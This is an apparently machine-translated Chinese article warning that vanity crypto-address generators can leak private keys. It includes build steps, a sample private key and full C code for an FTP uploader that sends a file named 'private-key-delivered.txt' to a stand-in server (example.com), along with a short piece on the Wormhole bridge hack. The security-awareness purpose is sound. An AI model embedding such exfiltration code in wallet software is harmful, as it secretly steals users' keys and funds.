Coingecko 和 Agent Ftpupload 創建漂亮的加密錢包地址，但要確保私鑰安全

多年來，加密社區形成了一個完整的邪教組織，旨在為加密錢包創建漂亮的地址。每個人都可以為自己生成一個“漂亮”的地址，這個地址不僅是獨一無二的，而且還會包含一定的字母和數字組合。這是一個非常令人興奮和有趣的過程，但不能完全排除涉及第三方和攔截加密錢包私鑰的風險。我們都聽說過獨立聚合器CoinMarketCap，CoinGecko它們是最流行的跟踪證券交易所價格的平台，但在本文中我們不會考慮這些站點的機制和功能。我們將討論vanitygen+中的隱藏代碼oclvanitygen及其在熱門網站上的快速傳播。

這是一個為信息安全目的而創建的研究項目。

許多用戶對標準的隨機加密錢包地址不滿意，因此他們使用各種程序、實用程序和插件來創建漂亮的加密貨幣地址。

據TAdviser門戶網站稱，由於使用未經驗證的軟件，受害者越來越多地成為受害者。

Coingecko-VanityGen是一個命令行實用程序，能夠根據給定的初始參數生成加密貨幣地址。

實用程序的選擇基於概率搜索，這需要一些時間。
時間取決於給定圖案的複雜程度、計算機速度和運氣。為了提高生成加密貨幣地址的速度，有一種oclvanitygen使用OpenCL兼容GPU

在我們的許多研究中，我們使用Google Colab並且為了我們自己的審查，我們將解析12CoingeckoAgentFtpupload存儲庫中的Coingecko-VanityGen文件

Coingecko 和 Agent Ftpupload 創建漂亮的加密錢包地址，但要確保私鑰安全

Coingecko-VanityGen與GPU 運行時支持一起工作(Google Colab)，並根據自己的參數為完整的聚合器列表生成漂亮的加密錢包地址Coingecko。

如何保存私鑰？

為了理解和理解，我們將繼續進行實驗部分：

打開 [TerminalGoogleColab]。

讓我們使用“12CoingeckoAgentFtpupload”存儲庫。

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/12CoingeckoAgentFtpupload/

ls

更新並安裝 g++ libgmp3-dev libmpfr-dev

apt-get update

sudo apt-get install g++ -y

sudo apt-get install libgmp3-dev libmpfr-dev -y

集會：

make

讓我們運行命令：ls我們看到它coingeckogen創建成功了！

運行 LIST 並檢查來自 CoinGecko 聚合器的所有現有加密貨幣

./coingeckogen -C LIST

運行“coingeckogen”並生成一個帶有“1DEEP”前綴的比特幣地址：

./coingeckogen 1DEEP

Pattern: 1DEEP
Address: 1DEEPQxozZXeUmuVZxKb7JjHq28DhX99AG
Privkey: 5JdG1jvsDgHrS8E8NpRLabzrA1tCbR6ePp9zvv1q1dV6efpSqMH
crypto >

讓我們打開 bitaddress 並檢查：

為什麼編譯後的程序可以洩露私鑰？

您可以在信息門戶SecurityLab中閱讀文章

可以在程序的源代碼中縫入一個密碼：

注意ftpupload.c代碼

cURL 是一個跨平台的命令行實用程序，它允許您使用語法通過許多不同的協議與許多不同的服務器進行交互URL。

此代碼可以將私鑰發送給FTP - сервер 攻擊者

/***************************************************************************
 *                                  _   _ ____  _
 *  Project                     ___| | | |  _ \| |
 *                             / __| | | | |_) | |
 *                            | (__| |_| |  _ <| |___
 *                             \___|\___/|_| \_\_____|
 *
 * Copyright (C) 1998 - 2022, Daniel Stenberg, <daniel@haxx.se>, et al.
 *
 * This software is licensed as described in the file COPYING, which
 * you should have received as part of this distribution. The terms
 * are also available at https://curl.se/docs/copyright.html.
 *
 * You may opt to use, copy, modify, merge, publish, distribute and/or sell
 * copies of the Software, and permit persons to whom the Software is
 * furnished to do so, under the terms of the COPYING file.
 *
 * This software is distributed on an "AS IS" basis, WITHOUT WARRANTY OF ANY
 * KIND, either express or implied.
 *
 * SPDX-License-Identifier: curl
 *
 ***************************************************************************/
#include <stdio.h>
#include <string.h>
 
#include <curl/curl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#ifdef WIN32
#include <io.h>
#else
#include <unistd.h>
#endif
 
/* <DESC>
 * Performs an FTP upload and renames the file just after a successful
 * transfer.
 * </DESC>
 */
 
#define LOCAL_FILE      "/tmp/Result.txt"
#define UPLOAD_FILE_AS  "Result.txt"
#define REMOTE_URL      "ftp://example.com/"  UPLOAD_FILE_AS
#define RENAME_FILE_TO  "private-key-delivered.txt"
 
/* NOTE: if you want this example to work on Windows with libcurl as a
   DLL, you MUST also provide a read callback with CURLOPT_READFUNCTION.
   Failing to do so will give you a crash since a DLL may not use the
   variable's memory when passed in to it from an app like this. */
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *stream)
{
  unsigned long nread;
  /* in real-world cases, this would probably get this data differently
     as this fread() stuff is exactly what the library already would do
     by default internally */
  size_t retcode = fread(ptr, size, nmemb, stream);
 
  if(retcode > 0) {
    nread = (unsigned long)retcode;
    fprintf(stderr, "*** We read %lu bytes from file\n", nread);
  }
 
  return retcode;
}
 
int main(void)
{
  CURL *curl;
  CURLcode res;
  FILE *hd_src;
  struct stat file_info;
  unsigned long fsize;
 
  struct curl_slist *headerlist = NULL;
  static const char buf_1 [] = "RNFR " UPLOAD_FILE_AS;
  static const char buf_2 [] = "RNTO " RENAME_FILE_TO;
 
  /* get the file size of the local file */
  if(stat(LOCAL_FILE, &file_info)) {
    printf("Couldn't open '%s': %s\n", LOCAL_FILE, strerror(errno));
    return 1;
  }
  fsize = (unsigned long)file_info.st_size;
 
  printf("Local file size: %lu bytes.\n", fsize);
 
  /* get a FILE * of the same file */
  hd_src = fopen(LOCAL_FILE, "rb");
 
  /* In windows, this will init the winsock stuff */
  curl_global_init(CURL_GLOBAL_ALL);
 
  /* get a curl handle */
  curl = curl_easy_init();
  if(curl) {
    /* build a list of commands to pass to libcurl */
    headerlist = curl_slist_append(headerlist, buf_1);
    headerlist = curl_slist_append(headerlist, buf_2);
 
    /* we want to use our own read function */
    curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
 
    /* enable uploading */
    curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
 
    /* specify target */
    curl_easy_setopt(curl, CURLOPT_URL, REMOTE_URL);
 
    /* pass in that last of FTP commands to run after the transfer */
    curl_easy_setopt(curl, CURLOPT_POSTQUOTE, headerlist);
 
    /* now specify which file to upload */
    curl_easy_setopt(curl, CURLOPT_READDATA, hd_src);
 
    /* Set the size of the file to upload (optional).  If you give a *_LARGE
       option you MUST make sure that the type of the passed-in argument is a
       curl_off_t. If you use CURLOPT_INFILESIZE (without _LARGE) you must
       make sure that to pass in a type 'long' argument. */
    curl_easy_setopt(curl, CURLOPT_INFILESIZE_LARGE,
                     (curl_off_t)fsize);
 
    /* Now run off and do what you have been told! */
    res = curl_easy_perform(curl);
    /* Check for errors */
    if(res != CURLE_OK)
      fprintf(stderr, "curl_easy_perform() failed: %s\n",
              curl_easy_strerror(res));
 
    /* clean up the FTP commands list */
    curl_slist_free_all(headerlist);
 
    /* always cleanup */
    curl_easy_cleanup(curl);
  }
  fclose(hd_src); /* close the local file */
 
  curl_global_cleanup();
  return 0;
}

為了進行測試，將 ftpupload.c文件上傳到“12CoingeckoAgentFtpupload”目錄

編譯代理Ftpupload：

gcc -o agentftpupload ftpupload.c -lcurl

訪問權限：

chmod +x agentftpupload

./agentftpupload

截取私鑰的過程：

正如我們上面所說，為了理解私鑰是如何被攔截的，讓我們一步一步地運行源代碼中的所有命令。為此，我們將創建一個帶有“cryptodeeptech”目錄的測試服務器：

從演示示例中可以看出，以下文件已上傳到測試服務器：private-key-delivered.txt

private-key-delivered.txt– 這是一個包含軟件用戶私鑰的文件。

整個過程對用戶是隱藏的。

我們強烈推薦：

只使用經過驗證的軟件；
查看源代碼；
自己組裝；
進行更新；

該視頻是為 CRYPTO DEEP TECH門戶網站創建的，以確保橢圓曲線上的數據和密碼學的金融安全性免受加密貨幣中 secp256k1 弱簽名的影響 ECDSABITCOIN

來源

電報： https: //t.me/cryptodeeptech

視頻素材：https://youtu.be/sB91EE-1mJo

資料來源：https://cryptodeep.ru/coingecko-agent-ftpupload

密碼分析

Crypto Deep Tech

隨著區塊鏈的價值變得對各種攻擊具有吸引力，跨鏈橋接

https://www.youtube.com/embed/9rDEepQOyaM 本文將重點關注跨網橋協議中的一個漏洞，該漏洞對不同區塊鏈之間的智能合約是一個很大的安全威脅。跨橋對黑客來說是一個很有吸引力的目標，因為它們通常代表著資金的中央存儲點，這些資金支持接收方區塊鏈上的“橋”資產。什麼是網橋協議？橋接器旨在解決不同區塊鏈之間的互操作性問題。橋是一種允許用戶將數字資產從一個區塊鏈轉移到另一個區塊鏈的協議。最著名的例子之一是橋接協議，它允許用戶在不同的智能合約區塊鏈（如 Solana 和以太坊）之間Wormhole移動加密貨幣。NFT今年2 月2022，有一個案例是一名不知名的黑客在智能合約代碼中發現了一個漏洞，允許他在不提供必要的等價抵押品的情況下Wormhole創建。 120 000 Wrapped EthereumSolana (WeETH)Ethereum Wormhole 區塊鏈橋確認該漏洞竊取了價值 3.2 億美元的加密資產。要了解為什麼此事件比普通黑客攻擊更嚴重，我們需要了解跨橋的工作原理。用戶通過將一種資產中的資金發送到橋協議來與橋進行交互，然後將資金固定在合同中。然後，用戶將獲得協議所連接鏈上平行資產的等價資金。在 Wormhole 的情況下，用戶通常將以太幣發送(ETH)到協議，在那裡它作為抵押品存儲，並發行WeETH到Solana，由合約中鎖定的抵押品支持Wormhole到Ethereum。這次高調的黑客攻擊意味著3.2 億WeETH美元Solana在一定時間內沒有得到保障。如果WeETH以太坊得不到保障，這將意味著許多Solana以接受WeETH為抵押品為基礎的平台可能會資不抵債。我們可以看到用戶急於出售他們的 WeETH，導致其價值下降，對區塊鍊和建立在其上的Solana龐大生態系統產生重大影響，因為其中許多協議也依賴於支持已發行的資產。用戶。事實上，昨晚我們看到了的價格，許多人將其歸因於對黑客攻擊的恐懼。DeFiWeETHSolana13,5% Jump Trading 是 Wormhole 的母公司，也是 Solana 生態系統的主要參與者，他發推文說： Jump TradingETH在嘗試向黑客支付被盜資金獎勵的嘗試被忽略後，提供硬幣來替換被盜資金。橋樑施工橋樑設計各不相同，用戶通常通過將一種資產中的資金發送到橋樑協議來與橋樑進行交互，然後將資金固定在合同中。然後，用戶將獲得與協議連接的鏈上的平行資產的等價資金。在蟲洞的情況下，用戶通常將以太幣發送(ETH)到協議，在那裡它作為抵押品存儲，並釋放ETH蟲洞包裝到Solana，由蟲洞合約中鎖定的抵押品支持到Ethereum。易受攻擊的跨橋橋樑是一個有吸引力的目標，因為它們通常代表支持主機區塊鏈上“橋樑”資產的資金的中央存儲點。無論這些資金是存儲在智能合約中還是中心化託管人中，這個存儲點都會成為目標。此外，高效的橋樑設計仍然是一個未解決的技術問題，許多新模型正在開發和測試中。隨著最佳實踐的不斷改進，這些不同的方案代表了攻擊者可以利用的新攻擊向量。就在幾年前，中心化交易所還是業內最常見的黑客攻擊目標。如今，成功破解集中式交易所的案例很少見。這是因為這些組織優先考慮他們的安全性，也因為黑客總是在尋找最新和最易受攻擊的服務。雖然不可靠，但解決此類問題的有價值的第一步可能是極其嚴格的代碼審計，這將成為DeFi這些構建協議和評估它們的投資者的黃金標準。隨著時間的推移，最可靠和安全的智能合約可以作為開發人員的模板。加密貨幣服務，包括但不限於橋樑，必須投資於安全措施和培訓。結論：目前，所有這些對橋樑的現代攻擊佔了一年69%內被盜的所有資金。2022這對區塊鏈技術構成了嚴重威脅。隨著越來越多的價值通過跨鏈橋，它們對黑客的吸引力就越大。 GitHub 電報：https://t.me/cryptodeeptech 視頻素材：https://youtu.be/9rDEepQOyaM 來源：https://cryptodeep.ru/cross-chain-bridge 密碼分析

«CRYPTO DEEP TECH»